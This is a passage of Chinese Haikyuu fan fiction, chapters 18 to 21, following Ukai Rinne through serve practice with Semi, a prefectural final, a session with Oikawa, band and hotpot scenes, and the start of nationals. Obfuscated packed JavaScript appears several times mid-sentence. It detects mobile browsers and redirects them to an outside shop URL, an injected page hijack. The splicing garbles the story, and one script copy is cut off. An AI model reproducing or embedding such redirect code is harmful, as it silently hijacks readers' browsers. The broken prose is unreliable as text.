“乌养什么时候能来男排训练啊，来和我一起练发球吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808528|190768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 濑见英太平时和凛音练习的次数更多，和她的关系已经很不错了。 “估计要等预选赛结束吧，不过濑见学长要是想找我练发球的话，可以中午来，练一会再吃饭。”凛音知道濑见是真心想和她练发球，于是提议道。 “诶？可以吗？那明天中午你有空吗？”濑见很惊喜。 “有，濑见学长可以每天中午都来找我，要是我有事的话会给你发消息的。” “好，那我们在体育馆集合，下课我去买便当，打完球你就不用去食堂了。”濑见补充道，以此来弥补对于占用凛音时间的歉意。 “哦，好。”凛音倒是无所谓，濑见英太也是她的朋友，而且是喜欢排球也有天赋的类型，为他花点时间凛音也很乐意，不过她也能理解濑见的不好意思，所以欣然接受。 周一上午放学后，凛音换上运动服，带着护膝，去体育馆，濑见还要买便当，肯定是没她快的。 果然，等了几分钟，濑见带着午饭一路跑过来了。 两人热热身，开始了发球训练，主要是凛音指导濑见英太。 中午时间不多，两个人练了半小时就结束了，把便当拿出来，坐在体育馆门口台阶上吃。 “濑见高中还是会在白鸟泽吗？”凛音还是比较担心濑见和白鸟泽球风不搭的问题。 “会的吧。”濑见才二年级，没有想过这个问题。 “其实我不建议濑见学长高中继续在白鸟泽的。” “欸？为什么？”濑见有点惊讶。 “白鸟泽的男排一直都推崇个人实力，崇尚力量与高度，喜欢围绕王牌来打，在这种风格之下，所有有天赋的选手都有展示自己的机会，除了二传，尤其是有自己想法的二传。 濑见学长的球风比较华丽，会更凸显自身实力，而不是放大王牌的力量，和白鸟泽的风格不是很适配，只不过现在男排没有比你更好的二传手了，所以你才能一直当首发。 等上了高中，如果出现更合适的二传手，濑见学长肯定会成替补的。” 凛音觉得自己和濑见已经是朋友了，所以说了这段可能会有些冒犯的话，不过濑见当然不会生气，他只是迷茫了片刻。 然后濑见露出了自信的笑容，对凛音说到：“你说得对，但只要我比其他二传手强得多，那么队伍还是会选择我的。而且我喜欢白鸟泽。” 凛音也笑了，前面两句话不重要，濑见自己也清楚他不可能会碾压所有人的，未来会不会出现能替代他的二传手不好说，关键是最后一句，他喜欢白鸟泽。 是的，哪怕是只上了一个半月的凛音也认为她不会离开白鸟泽，因为她喜欢这里的女排部，喜欢她的新队友，也喜欢男排部的新朋友们。 “看来我要更努力地练习发球了，不当首发二传手了，还能做一个救场发球员。”濑见英太罕见地开了个玩笑。 “哈哈。” “对了，乌养，我觉得我们已经是排球搭档了，你可以直接喊我的名字。”果然，刚刚那番话让濑见英太觉得凛音是真心和他交朋友的。 “好啊，英太学长，那你也可以叫我凛音。” “好，凛音，回教室吧。” “对了，英太前辈，既然我们的关系已经这么好了，我要说一件事，你别生气啊。”凛音一想到她马上要说什么就想笑。 “嗯？你说吧，我不会生气的。”濑见十分自信，他怎么可能随便生气。 “你穿私服好土啊。”凛音说完就跑了。 “喂！凛音！你好无礼啊！站住！别跑！” 濑见回去后，问大平狮音：“喂，狮音，我穿私服真的很土吗？” 大平狮音的眼神游离，选择保持善意的沉默。 18. 出线 五月下旬，教练又约了东京的青空和赤坂台中学，赢了青空，输了赤坂台，队伍的配合水平显著提高。 六月份，全中的宫城县预选赛开始了，只有一支队伍能出线，强校不多，劲敌只有北川第一这所名门学校。 预选赛的名单很快就出来了，不出意外的话，两支队伍将在决赛相遇。 一轮比赛的队伍很弱，排球社每年都会为生存而发愁的那种，白鸟泽教练干脆把二队成员放上去练练了。 果然，二队也能比较轻松的赢下来。 接下来第二轮第三轮比赛，凛音都没有上场，还是很轻松的赢了。不过她有注意到，这些学校都有一两个打的很好的球员，可惜还是被队伍限制了。 第四轮就是决赛了，对战北川第一，让大家有点紧张。 县预选赛的场馆内，白鸟泽女排与北川第一女排的比赛正式开始。 北川第一的二传手站上发球区。她深吸一口气，发出一记上手飘球。球速不快，但轨迹飘忽，直冲白鸟泽的后场角落。 白鸟泽的自由人鸟海玲奈迅速判断落点，侧身移动，双臂稳稳地将球垫起，但一传弧度有些偏低。 “抱歉！”鸟海喊道。 黑川凪迅速插上，在球即将下落时调整步法，用手指将球稳稳地送到了四号位，那个所有人都知道的位置。 乌养凛音踏着完美的步点跃起，她的起跳高度并不算最顶尖，但挥臂速率快得惊人。北川第一的双人拦网已然就位，手型标准。 下一刻，一声沉闷如惊雷的巨响在球场炸开！ 排球仿佛一道黄蓝色闪光，从拦网手指尖上方呼啸而过，重重砸在底线附近，然后以极高的角度弹向远处。 1：0！白鸟泽气势如虹，拿下第一分。 “好球！” 攻防转换，轮到白鸟泽发球。乌养凛音站在底线后，哨声一响，抛球、助跑、全力起跳、挥臂，一记炮弹式的跳发球直扑北川第一的后场。 球的落点极深，速度惊人。北川第一的自由人虽然做出了侧移动作，但球的力道和下沉幅度远超她的预判，手臂接触的瞬间就被弹开，根本无法形成有效垫球。 “ACE！白鸟泽得分！”裁判挥手示意。 2:0。 这记发球让场馆安静了一瞬。北川第一的队员们相互看了一眼，眼神凝重。 凛音的第二记发球，依旧冲着相似的位置，但力量更甚。这次，北川第一的接球队员勉强将球垫起，但球像不受控制般高高飞向场外，直接飞过了教练席。 “触球一次，白鸟泽得分！” 3:0。发球连续制造威胁。 第三球，北川一的队员显然承受了巨大压力，站位略微靠后，试图应对这种力量。凛音敏锐地捕捉到这一点，发球时稍稍加了提拉，球带着强烈的上旋，过网后急速下坠，精准地压在底线附近！ 北川一的队员判断失误，以为球会出界，没有去接。 “ACE！4:0！” 第四次发球，虽然北川第一拼尽全力，终于将第四个发球勉强接起，但一传又高又远，直接飞向场外。二传手拼命追上网球，只能背对球网勉强处理过网。 机会球！小林莉亚在网前毫不客气，直接跃起，一记探头球扣杀得分！ 5:0！在凛音的发球轮，白鸟泽连拿四分，瞬间确立了优势。 北川第一的教练被迫用掉了暂停，试图稳住阵脚。 暂停回来后，比赛继续。或许是暂停起到了作用，或许是凛音的手感略有波动，她的第五个发球虽然依旧强劲，但北川第一的自由人咬紧牙关，用完美的防守姿势将球艰难地垫了起来。虽然一传弧度不算理想，但北川第一的二传手展现出了她的能力，迅速调整，将球快速分配到二号位，她们的接应抓住空挡，打了一个穿裆球，终于艰难地夺回了发球权。 5:1。北川第一的队员们明显松了一口气。 然而，白鸟泽的攻势并未停止。尽管失去了凛音的发球轮，但她们前排的拦网开始发威。小林莉亚凭借其出色的判断，连续两次有效撑起对方主攻的直线球，为白鸟泽创造了防反机会。黑川凪冷静组织，一次交给后排的并木郁江，一次自己二次吊球得手，比分来到7:1。 北川第一并未放弃，她们依靠顽强的防守和更快速的攻防转换，紧紧咬住比分。当凛音再次轮转到后排时，比分已是12:8，白鸟泽领先。 关键的发球轮再次到来。 凛音站上发球区，场馆内的目光再次聚焦。她深吸一口气，再次发出重炮。北川一的队员虽然有了准备，但球的力道和速度依旧难以完全消化，一传直接过网。 “机会球！”小林莉亚网前再度得手，探头球得分！ 13:8！ 第二球，凛音改变了策略，发出一记角度刁钻的追胸球，直冲对方后排插上的二传。二传为了躲避，动作变形，一传直接垫飞。 14:8！ 第三球，北川一的队员心理压力巨大，出现了判断失误，以为球会出界，没有去接，又是一个ACE球！ 15:8！ 分差被迅速拉大到七分，凛音仅仅三个发球，就几乎摧毁了北川第一刚刚建立起的一点信心。 最终，第一局没有太多悬念。尽管北川第一在局末奋力追回几分，但巨大的分差让她们回天乏术。 25:18，白鸟泽拿下第一局。乌养凛音两轮恐怖的发球，成为了决定第一局走势的关键。 交换场地后，北川第一做出了明显的调整。她们不再试图硬碰硬地接好凛音的每一个重发球，而是采取了“保护场地中央，放弃边角极限球”的策略，优先保证一传尽量不起球，减少直接丢分和送探头球的机会。 这一策略在开局起到了一定效果。虽然凛音依旧能靠发球直接拿到一两分，但北川第一的一传到位率有所提升，能够组织起一些有效的进攻。双方比分在开局阶段陷入胶着，从1:1一直打到5:5。 然而，北川第一为了接好发球，也付出了代价，她们的进攻被明显削弱了。而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“嘁。”川西太一没什么表情地撇了濑见一眼。 “嗯？你什么意思？” “你认为自己帅这点真是令人佩服。” 两人还是没有闹起来，因为牛岛若利的眼神看了过来，他有点疑惑的问濑见英太：“英太，你和凛音的关系什么时候这么好了？” 不过在大家的解读里，就成了幼驯染的占有欲。 “毕竟我前段时间天天和她一起练发球嘛，关系就很好了啊。凛音的发球真是太厉害了，听说她练了整整六年多。” “嗯，她确实很厉害，也非常努力。”牛岛若利又笑了，他想起来很小的时候，他第一次遇到凛音时，她对自己说的话。 凛音是牛岛若利最认可最欣赏最重视最重要的人。 他们看完比赛就离开了，明天是男排的决了，也是对战北川第一。 事实上观众席上还有及川彻和岩泉一。 “这个乌养和牛岛很像啊，力量大的惊人。”岩泉一冷静说道。 及川彻沉默地看着场中的凛音。她与牛岛相似的天赋让他本能地抗拒，但想到她日复一日的刻苦训练，又产生一丝欣赏。 他在小学集训的时候邀请过乌养凛音一起练习发球，那个时候她的发球很出色，但还没有现在这么有压迫感，这让及川彻很感兴趣。 思考片刻，及川彻跟着岩泉一离开了。 19. 发球 女排比赛结束的后一周，就是男排的比赛，凛音难得请了一次假，没去参加部里的训练，而是独自去看男排的决赛。 白鸟泽对战北川第一，也就是及川彻的队伍。 及川彻这个人凛音在小学集训的时候就认识了，也接触过很多次，是凛音见过的最优秀的二传手，是她所欣赏的那种在排球上付出极致努力的人。 那个时候凛音已经能看出及川彻的天赋问题，比普通人强不少，比牛岛若利和黑川凪这种怪物弱一点，这种弱是在传球的技巧上。他的天赋点在了其他方面，他非常善于发挥整个团队的力量，传球战术十分有美感，这是很多二传所缺乏的，像黑川凪交流能力就很糟糕，与队伍的交流很多时候要靠她来推动。 所以及川彻一直是牛岛若利的白月光，是牛岛心里最好的二传。自从牛岛和及川彻一起打过两次以后，就对他念念不忘，一直劝他来白鸟泽，但及川彻一直没同意。 凛音佩服的是及川彻清楚自己的天赋局限，但仍然没有放弃。 上辈子凛音琴棋书画样样精通，但也只是精通而已，她最喜欢的是画画，为了画画付出了很多，也考虑过以后从事绘画相关的行业，去做个艺术生，但她没有这么做，因为她知道自己没有天赋，她能够画的好只是因为花的时间够多，在创造力上她远远比不上那些天才。你能想象吗，有个人练了一年，就比她画了五年都好，这就是天才。 天赋是最不讲道理的，艺术科研体育领域都是这样，凛音深知天才和普通人的差距有多大，她不敢冒险去做一个艺术生，但及川彻敢于用努力去挑战天才，所以凛音很佩服。 凛音知道及川彻很想打败牛岛若利，但可惜，这是个团队竞技，北川第一队伍的整体能力不足以对抗白鸟泽的个人实力相加，如果及川彻去一个队友水平更高的地方，那么这个队伍一定会非常厉害，但凛音觉得以他的自尊心大概率不会来白鸟泽。 果然，比赛一面倒，白鸟泽2：0打败了北川第一。 凛音一面很高兴牛岛若利他们胜利了，一面又担心地看着难得流露阴郁一面的及川彻。她对及川彻了解仅限于此，只是每次都看到他完美的仪态，这样的神态确实不多见，她默默离开了观众席，去上了个厕所。 从厕所出来刚走几步，她就遇到了及川彻带着的北川第一，果然，凛音已经发现了，厕所附近总能遇到强者，她们女排也是，她第一次见到小林莉亚也是在厕所。 看着及川彻明显黯淡却仍强撑笑意的眼神，凛音想起自己前世在画室里，看到那个人画画时的那种无力感，也想起了小学时及川彻加练到很晚的样子，她鬼使神差地上前一步，开口道："及川前辈。" 及川停下脚步，脸上立刻挂起那副无懈可击却略显疲惫的笑容："哦呀？白鸟泽的女武神是特意在这里等我的吗？" "啧，刚好碰上而已。要一起去练会儿发球吗？"及川彻一开口凛音就失去了对他的幻想，忘了这家伙对天才其实很不友好了。 这个提议让及川身后的队友们都愣住了。及川本人脸上的笑容也僵了一瞬，随即变得有些锐利："怎么，是想看看败犬怎么挣扎吗？" "你别急嘛，体育馆还开着，我现在很想发几个球。一个人练太无聊了。" 这个理由简单得让及川彻一时不知如何回应。他打量着凛音，发现她是认真的。 "......你请客。"他突然没头没尾地说。 "什么？" "自动贩卖机的饮料，"及川指了指场馆外的方向，"你请客，我就去。" 凛音愣了一下，随即笑起来："好啊。" 他回头对队友们挥挥手："你们先回去吧，我陪这位任性的后辈玩一会儿。" 等队友走远，他才转回身，脸上那层面具般的笑容终于卸下，语气平淡："走吧，乌养同学。" 空旷的副馆里，很快响起了排球击地的闷响。 起初，两人各占半场，仿佛在进行一场无声的较量。及川的发球精准地砸在边角，带着强烈的旋转；凛音的球则势大力沉，落点附近的地板都发出不一样的震动。 十五分钟后，及川率先打破了沉默。他走到网前，捡起一颗球在手中转动："喂，你的抛球再往前十公分试试。" 凛音挑眉看他。 "信不信由你，"他耸耸肩，走回自己的位置，"反正你的击球点一直偏低。" 虽然带着怀疑，凛音还是在下一个发球时稍微调整了抛球位置。球出手的瞬间，她明显感觉到发力更顺畅了。 轮到及川发球时，凛音突然开口："你刚才那个跳发，手腕是不是太僵硬了？" 及川愣了一下，随即笑了："小乌养是在指导前辈吗？" "陈述事实罢了，你平时的跳发比刚才的旋转更强。" 及川没有反驳，只是在下一个发球时微微调整了手腕动作，球果然更有力了。 就这样，他们交替着发球，偶尔给对方一个简短的提示。没有客套的感谢，也没有多余的交流。当及川用一个极其刁钻的ace球得分时，凛音只是轻轻"啧"了一声；而当凛音的发球让他勉强才能接起时，他也只是眯了眯眼睛。 练习结束时，天已经黑了。及川拎起背包，回头看了凛音一眼："下次见面就是我们打败白鸟泽的比赛之后了。" “你们打赢白鸟泽的概率几乎没有。”凛音很欣赏及川彻，但绝对不会惯着他。 及川彻黑着脸，头也不回地走了。 看着及川彻的背影，凛音愣了一下，他竟然没有出言反击，看样子这场失败是不能触及的话题。 连续三次被牛岛若利打败，赛场上复仇可能是他的执念吧。凛音不知道这种执念是好事还是坏事。 每个人打球的目的是不一样的，她是因为热爱排球，想和更多强敌交手，提升自己，赢了最好，输了就继续进步，可能出于天才的傲慢，她不觉得会有自己无法超越的对手，只要她努力，所以她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808530|190768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有那么重视输赢。 那么及川彻打球是为了什么呢？ 她不知道，每个人站在赛场上的原因都是复杂的。她曾经问过牛岛若利，他对待排球很纯粹，他对待很多事情都很纯粹，若利想成为拿到球就能得分的王牌。 凛音也问过黑川凪，她一开始是为了她而打排球的，她想为凛音传最好的球，现在她想为了凛音的胜利而传球。 不过凛音倒是觉得黑川凪已经喜欢上排球了。 凛音抛开这些由及川彻带来的情绪，给牛岛若利打了电话，他们男排要去聚餐，还没开始，牛岛若利还没说什么，电话那头就开始叽叽喳喳，吵着要邀请她来一起吃饭。 “大家邀请你来一起吃晚饭，你想来吗？”牛岛若利老老实实地把大家的意愿传递过去。 “哦？好啊，在哪里？”凛音欣然同意，她和男排的关系相当好了，去蹭个饭而已。 “在学校餐厅。” “好吧，我还在体育馆呢，等我叫个出租车哦。” 等凛音到的时候，他们刚好要吃饭，愉快加入。 吃了一会，大平狮音突然就对凛音说：“对了，乌养同学，以后你可以喊我们的名字，大家都很喜欢和你一起练球。” 凛音的技巧非常出色，在白鸟泽男排也是第一名，所以当有人来请教她的时候她总是会耐心的解答，每个人都不例外，男排的大家都看在眼里，放在心里。 大家的目光全都聚焦在凛音身上，就连川西太一都点头同意了。 凛音愣住了，完全没想到在前后辈文化盛行的日本社团，她会有这种待遇，凛音开心地笑了起来：“好啊，那大家也都叫我的名字吧。” 还没笑三秒，就忍不住露出了蛋花眼，掉下了眼泪，这可把一群少年吓坏了。 “喂，凛音，你别哭啊，是谁欺负你了吗？” “听说你下午和及川彻一起去练球了，是他欺负你了吗？” 大家都看不得女孩子哭，有点手忙脚乱了，连牛岛若利都有一丝慌乱。 “呜呜呜呜，我没事，我只是太感动了，我怎么会有你们这么好的朋友。”凛音很快控制情绪，只是眼睛还有点红。 少年们有些不好意思。 “是你对我们好，我们才会对你好的。”川西太一精准总结。 大家认同地点点头。 “谢谢你们，对不起，我的泪点其实有点低，让你们担心了。”一下子没控制住情绪，凛音非常不好意思，感觉好丢人，她明明是个成年人了，还是这么不稳重。 这件事也就过去了，大家又开心地吃了起来，凛音因为心情好，又多吃了两碗饭，再次把大家看呆了。 面对关系好到一定程度的朋友，凛音会变得更幼稚，更坏一点。所以当初女排那些觉得凛音阳光开朗、风光月霁、温润如玉的人现在恨不得戳瞎眼睛。 这些少年们除了牛岛若利和濑见英太，都还没见过她的这一面，相信很快他们就会见到。 20. 逗逗男排的笨蛋们 预选赛虽然是赢了，但现在还不能松懈，因为真正的挑战在全国，之前练习赛她们就打不过赤坂台，那么全国大赛和她们水平接近的队伍应该有不少。 不过凛音并不烦恼，反而非常兴奋，这是一个见识更多更强同龄人的好机会。 这两个月倒是没有练习赛，听小林莉亚说东京出线的学校有赤坂台，御茶之水和富士见台。 学姐们和富士见台打过练习赛，很可怕的队伍，上一届是白鸟泽最强的几届之一，但在半决赛上被富士见台打败，又在季军赛上被兵库的濑户打败，那一年的冠军是大阪县的翼翔，亚军是富士见台。赤坂台在八分之一决赛上不幸遇到了翼翔，止步八强。 听说翼翔有个拥有绝对球感的副攻，叫千叶丽嘉，今年国三，拦网十分出色，身高足足一米八三，在遍地都是小矮子的国中女排简直就是巨人，哪怕是凛音现在也只有一米六五，做一个主攻手倒是勉强够了。 看着这个身高，凛音很是羡慕，她起码要到三年级才能有这种高度。这其实也是国中赛场上很少有一二年级上场的原因，因为对于女孩来说，国中三年处于身体发育期，一年一个样，一年级比起三年级是天然的劣势。强如小林莉亚也因为目前身高才一米七的原因，在队内的战术地位不高，只是她的拦网技巧和天生对时机把握的可怕直觉让她加入拦网体系。一般来说，女排发育成熟后，其他位置的身高要求可能会低点，但副攻绝对要高，白鸟泽要求至少一米七五，不然真的不好拦网。 一年级就一米七的小林莉亚绝对是未来白鸟泽的核心，但现在嘛…… 这两个月她们仍然在努力练习，尤其是黑川凪着重练习了发球，因为大部分开局站位都是二传先发球，只是凛音的发球太优秀了，为了在开局就打压对手的士气，所以特地调整成让凛音第一个发球的站位。 但这种站位的风险还是有的，常规站位之所以是常规站位是因为它好用，所以黑川凪在拼命练习发球，想把凛音的任务接替过去。 现在，教练组认为她们的配合已经达标了，让凛音去男排提升个人能力。 训练中途，她和大平狮音一起休息，大平狮音坐下来，下意识发出“嘿咻”的声音。 凛音也坐下来，“嘿咻”。 大平狮音尴尬又疑惑地看了她一眼，看到她一副若无其事的样子，什么也没说。 同样的事情发生了三次，大平狮音终于忍不住了，他和颜悦色地开口：“凛音，不要老是模仿我哦。” 凛音一脸惊讶：“狮音前辈再说什么？模仿什么？” 大平狮音一点不信她，但也不好意思再指责她，更不想被她模仿，只好每次坐下时都提醒自己一句，久而久之改掉了这个习惯，让凛音颇为失望。 濑见英太和凛音的话题更多一点，毕竟都是精通音乐和画画的人。凛音的架子鼓打得不错，还学过贝斯，节奏感自认为还可以，直到有天又被一个天才打击得道心破碎，她引以为傲的技巧有人随便敲两下就会了，从此她再也不想搞什么乐队。当时听到濑见英太的摇滚梦她觉得蛮有意思的，然后难过的发现，英太的天赋比自己高不少。 不过她的绘画水平就要比濑见英太高了，嘿嘿，凛音又开心了起来。 濑见难得在部里找到喜欢摇滚的同好，两个人经常会彼此分享歌单，有时候还会为了歌曲的排名吵起来。 不过最快乐的还是教濑见英太英语。在日本，发音纯正反而有可能会被霸凌，不过凛音从小上的是私立学校，不少有钱孩子学的都不是日式发音，所以还没人嘲笑过她。 但濑见英太学得就是学校教的日式发音，有次唱美国摇滚歌，用的日式英语，凛音真的没忍住，笑出了声，濑见英太弄明白她为什么笑了之后恼羞成怒，凛音怎么道歉都不行，直到答应教他正确的发音。 不行，教的她想笑，凛音把憋笑技能拉满，花了几天，终于教会了他。 “不过英太要小心点，出了白鸟泽别这么说英语，会被嘲笑的。” 凛音上辈子去日本旅游时，说的英语就被一个出租车司机笑话了，当时凛音就有点生气，小国寡民，做不出大气的事。 “哦。”濑见英太同情地看了凛音一眼，不知道想了些什么。 周日的时候，濑见英太有邀请凛音去音乐教室演奏一下他写的歌，凛音当然同意。结果不知道消息怎么就传出去了，周日那天好多学生都来音乐教室附近看热闹。 濑见英太自己是主唱兼键盘手，凛音来给她做鼓手，他有两个朋友，一个是贝斯手，一个是吉他手，刚好能勉强组一个小乐队。 四个人练了一个多小时，大概能熟练演奏了，毕竟在这首歌创作过程中，其他人是有给过建议的。 大家齐心协力演奏了这首歌，效果还挺好，一群人在教室外面听。 演奏结束时，教室外响起了热烈的掌声。濑见英太自信地朝窗外挥手致意，果然又引来一阵欢呼。 凛音看着他那副“本大爷果然很帅”的样子，很是无语，突然计上心头。 她也走上前，学着他的样子，笑着朝人群挥了挥手。 瞬间，场外的欢呼声拔高了两个量级，几乎要掀翻屋顶。 “乌养同学好帅！乌养同学真的好全能哦！” “乌养同学的架子鼓打得真好！” “乌养同学好棒！” 濑见英太脸上的笑容僵住了，他难以置信地扭头看向凛音。 凛音回以一个无比无辜、仿佛在说“大家太热情了我也没办法”的眼神。 “乌！养！凛！音！”濑见从牙缝里挤出几个字，脸上却还维持着对窗外的僵硬笑容。 “怎么了，英太前辈？”凛音眨眨眼，语气真诚得可恨。 “你绝对是故意的吧！”濑见英太转过身来用只有他们几个能听见的声音说道。 “哪有，”凛音心虚地眨眨眼，“我怎么会知道自己这么受欢迎呢，只不过学你的样子，给场外的大家一点回应罢了。” “是啊是啊，英太，乌养学妹怎么会是故意的呢，她肯定不知道自己的人气啊。”濑见的两个同学在拉偏架。 濑见更是要气死了，不过这么多人在外边，他也不想说什么，收拾好东西和朋友打个招呼就离开了，故意不看凛音。 凛音见他生气了，赶紧收拾东西，和音乐教室旁的大家打了个招呼，然后跟在濑见英太后面，走到人不多的地方以后凛音开始弥补她犯下的剑。 “哎呀，英太，对不起哦，我不该这么做的，英太的歌写得那么好，就算人气比我低那么一丢丢，也很帅哦。” 实事求是，濑见英太的歌写得还蛮好的，有他那种华丽自我的风格，只是略显青涩。 濑见英太闻言，刚下去的火气又上来了，站在台阶上睥睨了凛音一眼，下了台阶还想接着俯视她，然后尴尬地发现自己身高不够，于是又不说话了。 凛音见濑见英太不说话，知道他还没消气，这下才真诚地哄着他：“英太前辈，英太学长，英太大帅哥，不要生气了，我请你吃火锅吧。” “那好吧，原谅你了。”濑见英太确实不怎么生气了，但他绝对不能轻易低头。 这是凛音的老毛病了，请人吃饭喜欢去吃火锅，最容易安利的中国美食。 濑见和凛音回宿舍放个东西，换个衣服，相约在校门口见面。 凛音换了套私服，她的审美一般，但她妈妈的审美很好，所以她的所有衣服都非常衬她。 走到校门口，又被濑见的衣服无语到，好土，连审美一般的她都觉得好土。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808531|190768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “英太，你的衣服好土，幸好你人长得够好看。” 濑见一时不知道是该生气还是高兴…… 火锅店离学校不远，走五分钟就到了。这是濑见第一次吃火锅，显得有些好奇，随便点了一点点的菜。 “吃这么少？”凛音心想你也开始减肥了？ “不是，好多菜没吃过，不知道好不好吃，你来点吧。” “哦，好吧，要我给你调一盘酱料吗？” “好啊。” 凛音把相对普适的麻酱调料给了濑见英太，自己吃的是一小碟醋，她很喜欢醋。 果然，濑见英太还是拜倒在火锅的魅力之下，声称下次要带狮音他们一起来。 吃完饭，两人为了消食，回学校的路上走得很慢，到了学校他们俩就分开了，凛音在学校继续散步消食，大概休息了两个小时，打电话找牛岛若利练球，今天黑川凪不在学校。 练完球休息一会，凛音突然想起来八月是若利的生日。 “若利，你生日要到了，有什么想要的礼物吗？” “没有，我不缺东西。” “哎呀，礼物不一定要送你缺的嘛，你有什么喜欢的？” “不知道。”牛岛若利想了想，还是想不到自己想要什么。 “那我随便送了。” “嗯，你送什么我都会收下的。” 凛音送礼物一向如此，对方想要的缺的肯定当做礼物的第一备选，没有的话就要考虑情况，关系好的送点自己喜欢的，关系没有那么好的送点不会出错的。 “我已经想好送你什么了，走吧，去吃饭。” “好。” 两人跑到食堂打饭，凛音还是很喜欢白鸟泽的食堂的，比不少日本的餐馆好吃多了，所以她基本从来不去便利店买饭吃。 晚上八点多，吃饭的人很多，全是平时积极参加社团活动的人，已经养成了八点多吃饭的习惯。 凛音遇到了今川加悦和浅沼由美，打了个招呼，她们俩没有加入凛音。打完饭转头又遇到了川西太一一个人，凛音喊他过来一起吃饭，川西太一乖乖地过来了。 和凛音一届的川西太一是一年级里少有的略高于凛音的人，看起来像只懒惰的橘猫，却意外地很大只。 和这两个人一起吃饭很容易就沉默起来，他们都不是会主动挑起话题的人，但都会乖乖地接话。凛音还挺喜欢和他们俩一起聊天的，想到什么就说什么，一定有会接话的，而且脾气很好，怎么逗都不会真的生气。 凛音没事就会把川西太一喊成“太喵”，而太一也只会一脸幽怨地盯着她，抱怨两句，时间久了其他人有时候也会叫他太喵。 “男排这次的全国大赛有把握吗？” “不知道，我又不参加，不是谁都和你一样是个小怪物。”川西太一才一年级自然是参加不了。 “当然有。”牛岛若利一直很自信。 凛音完全无视太喵的怨念，继续说：“这次能进全国四强的话，我请你们全体吃火锅。” “大小姐真有钱。” “那太喵你到时候少吃点，橘猫很容易胖的，你不要吃成大胖橘了。” 太一又不说话了，专心对付碗里的饭，只是每隔几秒，那两道哀怨的视线就会像小刀子一样飞到凛音脸上。 凛音再次无视，库库干饭，今天又吃了好多，好幸福。 吃完饭，太一和若利一起回宿舍。 “太喵你那副幽怨的样子真的很可爱啊。”凛音继续逗猫。 果然，太一瞬间炸毛，转身就跑。 “你怎么这么淘气？”哪怕牛岛若利早就习惯了，还是忍不住说出来。 “我哪有？我没有。再见，若利，晚安，若利。”凛音蹦蹦跳跳地走了。 21. 东京征战 在参加全中之前，还有最后一关——期末考试。 凛音根本就不在意，国一的考试能有多难，把日本的文科科目背背得了，那些理科的东西她都用不着草稿纸。 不过女排有几个体育特招生…… 黑川凪不用说了，没学过；鸟海玲奈成绩一般，但合格绝对没问题；小林莉亚成绩中上，也没问题；今川加悦成绩还行，没问题；木本瑶就比黑川凪好那么一点。其他人都是考进来的，自然也不会有什么问题。 离期末还剩最后几天的时候，全部门的人都在帮她们两个一起复习，当然这对黑川凪来说是预习。 凛音只能帮帮她们的理科科目了，她中学时期的知识框架构建的比较好，把这学期的书和二年级的书翻一翻，一眼就看出了重点，再根据她大学时的一些速成经历，整理出了一份知识点和例题，让她们俩死记硬背式理解。 男排那边的情况平淡许多，虽然全是体育特长生，没几个考进来的，但成绩也没有很糟糕，至少没人过不去考试，甚至牛岛若利和大平狮音的成绩还很好。 为了比赛，黑川凪和木本瑶努力学了几天，终于低空飞过。这让凛音十分担心，高中要怎么办啊…… 但目前的情况也顾不上高中了，全中近在眼前。 大家坐上排球社的专用大巴，前往东京参加比赛。路上，身为部长的凛音承诺，比赛结束后，请大家吃火锅。 黑川凪很无语，她从小学就看见凛音到处请人吃火锅了，她都跟着吃了好几年了。 不过其他人就很兴奋了，部长请客本身就很令人开心了，大家不计较吃什么。 这次比赛男排和女排在一个场馆里，且相互错开，所以凛音可以去看男排的比赛，而男排也会来看女排的比赛。 女排的赛程表早就已经出来了，白鸟泽作为传统强队，属于种子队之一，第一轮轮空，和御茶之水一起分在了C区，不出意外的话，这次十六进八打的就是御茶之水，看来这次八强应该是有了。 御茶之水这种极致的体系防守一般来说很难对付，只要你的进攻能力在她的承受范围之内，那么你大概率是打不过的，但白鸟泽有了凛音，已经突破御茶之水的防御上限了，所以只要她们还是这个风格，就很难打得过白鸟泽了。 果然，第二轮白鸟泽对战高知县的桂滨海，桂滨海第一轮打的是岛根县的出云，两个都是排球弱县，最后桂滨海啄赢了，结果转头就遇上了白鸟泽，两局没拿到二十分就输了。 果然也没出意外，第三轮打的是御茶之水，凭借练习赛的经验，这次两局就赢下了御茶之水，进入八强。 